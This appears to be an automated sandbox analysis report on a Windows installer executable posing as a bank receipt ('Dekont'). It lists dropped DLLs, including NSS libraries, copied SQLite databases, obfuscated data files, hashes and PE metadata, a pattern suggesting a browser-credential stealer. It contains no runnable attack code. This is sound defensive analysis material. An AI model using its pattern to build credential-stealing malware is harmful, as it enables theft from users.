Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\nss3.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50212506615815117896313.tmp

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5022078474649298954731.tmp

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5022078474649298954731.tmp-shm

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50222031459524026117427.tmp

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5022265103206293439753.tmp

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50223121231683038868817.tmp

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.737874809466366
Encrypted:	false
SSDEEP:	192:nenY0qWTlt70IAj/lQ0sEWc/wtYbBH2aDybC7y+XBDIwL:n8+Qlt70Fj/lQRY/9VjjfL
MD5:	564BB0373067E1785CBA7E4C24AAB4BF
SHA1:	7C9416A01D821B10B2EEF97B80899D24014D6FC1
SHA-256:	7A9DDEE34562CD3703F1502B5C70E99CD5BBA15DE2B6845A3555033D7F6CB2A5
SHA-512:	22C61A323CB9293D7EC5C7E7E60674D0E2F7B29D55BE25EB3C128EA2CD7440A1400CEE17C43896B996278007C0D247F331A9B8964E3A40A0EB1404A9596C4472
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....$_...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text...O .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\udstrmningsdysernes\eir\Speckly\Intuitionernes.bnd

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	data
Category:	dropped
Size (bytes):	229793
Entropy (8bit):	1.4642031564062232
Encrypted:	false
SSDEEP:	768:C+HPGJfVhPDQHMt0DQ1oeTUifi7iY+kU2CcSlnM62d9u1M2cys0UZgJ2T7KgZfxu:Efr35cs2HMrJnaKxBt+aEROhXv
MD5:	756B6EF5A3A2F1325C8C405839AE2038
SHA1:	1CB4E016E36E79CC086C7E329C1890715EB646FE
SHA-256:	2C18506F37F06DAD09462BF79F818FDC4765A96127DB132F703E1E02C0D79592
SHA-512:	87300A4D16EAB9AD221F24813EFDD05381BB157B6EEFDD1933CA94CBE1B6629005FCFE730F6BD92F3752D08BA2E1799E9D5D41CA220750707BCAA5FB1F228CB4
Malicious:	false
Preview:	.Q<.......`..............X........5...\|.i...................................................G.........]..............a.............................................d................................3.....................................t............................&..w.................................................................../...............V............v........u............p..........................................6......?(..{......................1_.!............M.k......?.....................[.........................................................w.......................................................W.....J............+....................v.......?.................$...................o...................................................................b...............g...........b............................&.................................k.................N....................$.....................U...................................................................k

C:\Users\user\udstrmningsdysernes\eir\Speckly\Undefectiveness.pro

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	data
Category:	dropped
Size (bytes):	171443
Entropy (8bit):	1.467810786620408
Encrypted:	false
SSDEEP:	768:+T/eEYQyXFjCARfNh1z15a7qOvlkh351RvrhT9FMhTEM/9jXv8qB9N2sRm1T/6W2:RAoFmSZV0Vj7QUJ
MD5:	4D31FDE37F1657C182DDFF79B4E2B5A5
SHA1:	EE293492272CEE9058214B108DC218F022FEE640
SHA-256:	8197FC9064BC99075F05C0A176C449EAA87D3A284A2304369085BB332530FA15
SHA-512:	CA06B5CCE74F433D5BD118EE19E9744DBE409548232155825844684BB5292B7C4B5FCFA54FD10AEB91E09F75A253547BD3B0148814DF0250B0D43470D28CBFFB
Malicious:	false
Preview:	....d..........L...j.....O.......8.............................c...........................................q............................................................S............................................................;...............!..u....X..................i......0...?.................H..........s......................................Q..........................................^....Um........................................................I.......d...&......................!..L..................F.............U................(...............................................................[...............................................................................................t..........d...=.....#...J.................................................................................a................................................f..........~.....................................?............"............T.................s...............................?.............

C:\Users\user\udstrmningsdysernes\eir\Speckly\fingerspin.Bli61

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	data
Category:	dropped
Size (bytes):	440807
Entropy (8bit):	6.975176781575666
Encrypted:	false
SSDEEP:	6144:5SmsHq9dZ8aE0HJ3CV29uzRONmt5aZ9RTqtb/2Wj+Q0p98Tp1hIq:wmsMcaE0p3CV1E489NqlJj+Q0pipF
MD5:	30201B4EB977F725CC980CBB41DEAEE6
SHA1:	67AA3458AB9567BABF354219FED546D56DA39645
SHA-256:	9017790683FA1FCE5B3CAEABF1644DC42E3D7B152D3AB794E2549324B535345B
SHA-512:	A1A8B366B8624EDFE7165E8C3B5B18853890488DDACDF3D1215335A55C380ED91D38DD2DABBBCE281F88C6D8C9A353EA9091C296208F58F2F31A31C5F60CD9D4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\udstrmningsdysernes\eir\Speckly\hocuses.cur

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	data
Category:	dropped
Size (bytes):	121525
Entropy (8bit):	1.4739029245635806
Encrypted:	false
SSDEEP:	768:YZwdEH/XamBWv0E5OO5FVi+7ACsFm49yq4s0Xt2xFBM6tooBUi6uko:t+va6bEb/3bYZF6q
MD5:	50B41E3EEF8B5D219355CACC44D31161
SHA1:	91ADD8F503E9EFE734623542BC1AEB2091A40A95
SHA-256:	E58C68FE961C8E03A5F463A13720A4CA168A7EF1AD8EA8182392A9811C277D5E
SHA-512:	C0C2BA04ADBD5F986F42A29B1B3C9A0B436E12690DB64B30850384A21ACAFB4EAACBD8F060AAC46EBA315D330BBCD4910C3ACBBD3AFD586DC2AAD0D74DC5EA55
Malicious:	false
Preview:	..........b....../.........................U............................]......................t...................K.................N.................J.............5........C..............................k.............1..............E......+`....................................J....................Y..........................................+.........]....U................C.............../......................d...8.........................................6...................................................................A......2..........................................................................r......................-.............z....V.(..............m...;..................e..........P....................................@.............................................................................................n.......(..r.....>......K..X~.................._.?..............................&.............w..........l......"...........................7.........................

C:\Users\user\udstrmningsdysernes\eir\Speckly\zeolitter.txt

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	ASCII text, with very long lines (312), with no line terminators
Category:	dropped
Size (bytes):	312
Entropy (8bit):	4.293553387460343
Encrypted:	false
SSDEEP:	6:wxqZuEqXE6v8wJ6ARsI+SiCRyxijdLcE9PV7ONxobNFPCABVRRQBHYj/:wcZuEqXZJbT+0yx2pVUqCORRQBHYj/
MD5:	7E339110B2D68CE5ED88614C32B7A56E
SHA1:	6D5BF14FC1EF712E8ED8A2823D1D4F584EEC1650
SHA-256:	F8AB0068D1B157ECFB10CCB62DA4318ACE81DAA48B76DB17D28315CFFEA44BF6
SHA-512:	B878B668CA55AD01B693B6D131C265F893FFB3D38F127693D951F1A9E7E516CBCDE05495287E97C1F2176F8F9F802B2D3D9B98E9E3D617053DF8D8B22875F622
Malicious:	false
Preview:	bredestitch adamastor thaumaturgist fodermesters rigsdansken curstfully,albrecht mjen jamoke spectralism jarrad sindssygdomme.outquibling englnder unjuicy.sklent takometres vitalistically unsurlily ologist tudsefisken strettos,paahitsom alands thiasite millilambert.matthies aktieforbindelser dullhead squinancy.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.477600842905727
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Dekont#400577_89008_96634.exe
File size:	656'515 bytes
MD5:	1d14f171fd8a6a070150c81abed8b966
SHA1:	605071e065fd88525285c736dcc5f8461a60195c
SHA256:	ffb9748a0ed7684161780e27a733f2ab11071515cc27905767813a32c8c308ff
SHA512:	a337e284c26b730b72859c509decbc7d8733efd2729ae5d280558a504c6837e2546eb037edfad7b0f00c0b1c1cdd8e42728fc5e33dbb9f2a01315cbc47ab5182
SSDEEP:	12288:cT02SzNhc9bP9qhlkT+8dLb1c09/p6X9uruAK5Gi:cTbSzNy9bP9Elo1O0Fp6NBAWGi
TLSH:	87D401C0F614925AEC3385F8D4318ABA166FED3FC950276636C03A9E0CB166155FF6CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...@.$_.................h.........

File Icon


Icon Hash:	8e13714c04651306

Static PE Info

General

Entrypoint:	0x4034c5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24D740 [Sat Aug 1 02:45:20 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	6e7f9a29f2c85394521a08b9f31f6275

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080CCh]
call dword ptr [004080D0h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [00434F0Ch], eax
je 00007F0784801613h
push ebx
call 00007F0784804901h
cmp eax, ebx
je 00007F0784801609h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F078480487Bh
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F07848015ECh
push 0000000Bh
call 00007F07848048D4h
push 00000009h
call 00007F07848048CDh
push 00000007h
mov dword ptr [00434F04h], eax
call 00007F07848048C1h
cmp eax, ebx
je 00007F0784801611h
push 0000001Eh
call eax
test eax, eax
je 00007F0784801609h
or byte ptr [00434F0Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [00434FD8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7f000	0x289e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6793	0x6800	c25464d6f87775ef687d2492f92ddf9a	False	0.6720628004807693	data	6.495258513279076	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a4	0x1600	e36c6ad0568cd039e0c7810069438d6d	False	0.4385653409090909	data	5.01371465125838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2b018	0x600	33b1d611a00420c98fa82231feaa907b	False	0.5240885416666666	data	4.155579717739458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x36000	0x49000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7f000	0x289e8	0x28a00	a4a68548dea512ae9cd3ee42d0de6767	False	0.34076923076923077	data	4.845257821547735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x7f400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x7f768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.28531290666035725
RT_ICON	0x8ff90	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.36112570948076517
RT_ICON	0x99438	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.3842421441774492
RT_ICON	0x9e8c0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.37228389230042513
RT_ICON	0xa2ae8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.43983402489626555
RT_ICON	0xa5090	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4955440900562852
